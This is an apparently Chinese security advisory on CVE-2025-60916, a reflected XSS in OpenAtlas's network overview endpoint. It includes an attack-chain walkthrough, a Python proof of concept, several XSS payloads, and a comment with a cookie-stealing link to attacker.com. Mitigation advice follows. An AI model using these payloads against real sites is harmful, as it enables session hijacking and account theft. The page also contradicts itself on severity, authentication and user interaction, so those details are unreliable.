IPBUF安全漏洞报告
English
CVE-2025-60916 CVSS 5.4 中危

CVE-2025-60916 Openatlas反射型XSS漏洞

披露日期: 2025-11-24

漏洞信息

漏洞编号
CVE-2025-60916
漏洞类型
反射型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Openatlas (Austrian Archaeological Institute)

相关标签

反射型XSS跨站脚本攻击OpenatlasCVE-2025-60916文化遗产管理系统Web安全漏洞中危漏洞

漏洞概述

CVE-2025-60916是Austrian Archaeological Institute开发的开源文化遗产管理系统Openatlas中的一个高危安全漏洞。该漏洞为反射型跨站脚本攻击(Reflected Cross-Site Scripting,简称XSS),存在于Web应用的/overview/network/端点中。攻击者可以通过构造恶意的charge参数Payload,利用应用程序对用户输入的不当处理,在受害者的浏览器中执行任意JavaScript代码。由于该漏洞无需特殊权限即可利用(低权限用户即可触发),且不需要用户交互(UI:N),因此大大降低了攻击门槛。反射型XSS漏洞的危害主要体现在窃取用户会话Cookie、劫持用户身份、植入恶意脚本、钓鱼攻击等方面。攻击成功后,攻击者可以在受害者浏览器上下文中执行任意操作,包括读取敏感数据、修改页面内容、诱导用户进行危险操作等。对于管理文化遗产数据的系统而言,攻击者可能通过XSS漏洞获取管理员权限,进而访问、篡改或删除珍贵的考古数据,造成不可估量的损失。

技术细节

该漏洞存在于Openatlas 8.12.0之前版本的/overview/network/端点,具体位于charge参数的处理逻辑中。当用户请求该端点并传入包含恶意JavaScript代码的charge参数时,应用程序直接将用户输入未经任何过滤或转义处理便输出到HTTP响应中。攻击者构造形如<script>alert(document.cookie)</script>或<img src=x onerror=alert(1)>的Payload,通过URL参数传递给charge参数。服务器端代码未能对特殊字符进行HTML实体编码(如将<编码为&lt;,>编码为&gt;),导致浏览器在解析响应时将恶意代码识别为可执行脚本。攻击者通常通过社会工程学手段诱导受害者点击包含恶意Payload的链接,如https://[target]/overview/network/?charge=<script>malicious_code</script>。当受害者访问该链接时,恶意脚本在其浏览器上下文中执行,可窃取会话令牌、劫持用户账户或进一步发起横向攻击。此漏洞的利用条件简单,无需认证即可构造攻击链接,但攻击成功的前提是受害者点击恶意链接。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用的Openatlas版本,确认版本低于v8.12.0以确定漏洞存在
STEP 2
步骤2: Payload构造
攻击者构造恶意XSS Payload,常见形式包括<script>标签、事件处理器(如onerror、onload)或SVG标签等
STEP 3
步骤3: 链接分发
攻击者通过钓鱼邮件、社交媒体、即时通讯等方式诱导受害者点击包含恶意Payload的链接
STEP 4
步骤4: 漏洞触发
受害者浏览器访问恶意链接,服务器将未过滤的charge参数值直接返回到HTTP响应中
STEP 5
步骤5: 脚本执行
受害者浏览器解析响应时,将反射的恶意代码识别为可执行脚本并在当前页面上下文中执行
STEP 6
步骤6: 恶意操作
攻击者通过注入的JavaScript窃取用户Cookie、会话令牌或执行其他恶意操作
STEP 7
步骤7: 账户劫持
攻击者利用窃取的凭证登录系统,进一步获取敏感数据或提升权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-60916 PoC - Openatlas Reflected XSS in /overview/network/ endpoint # Target: Openatlas before v8.12.0 # Parameter: charge def exploit_xss(target_url, payload): """ Exploit reflected XSS vulnerability in Openatlas Args: target_url: Base URL of vulnerable Openatlas instance payload: Malicious JavaScript payload to inject Returns: bool: True if request successful, False otherwise """ # Construct malicious URL with XSS payload in charge parameter exploit_url = f"{target_url}/overview/network/?charge={payload}" try: # Send HTTP GET request response = requests.get(exploit_url, timeout=10) # Check if payload is reflected in response (vulnerability confirmation) if payload in response.text: print(f"[+] XSS payload successfully reflected!") print(f"[+] Vulnerable URL: {exploit_url}") return True else: print("[-] Payload not found in response") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False # Example payloads for testing if __name__ == "__main__": target = "http://vulnerable-server.com" # Basic XSS payload - cookie stealing payload = "<script>alert(document.cookie)</script>" # Alternative payloads (if filters exist) # payload = "<img src=x onerror=alert(document.domain) />" # payload = "<svg/onload=alert(localStorage.getItem('session'))>" exploit_xss(target, payload) # Attacker would send this link to victims: # http://vulnerable-server.com/overview/network/?charge=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

影响范围

Openatlas < v8.12.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1) 在Web服务器层面配置输入过滤规则,拒绝包含<script>等危险标签的请求;2) 部署WAF设备并启用XSS防护规则;3) 限制/overview/network/端点的访问权限;4) 提醒用户不要点击来源不明的链接;5) 加强对管理员账户的监控,及时发现异常行为;6) 定期审计应用代码中的输入输出处理逻辑。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表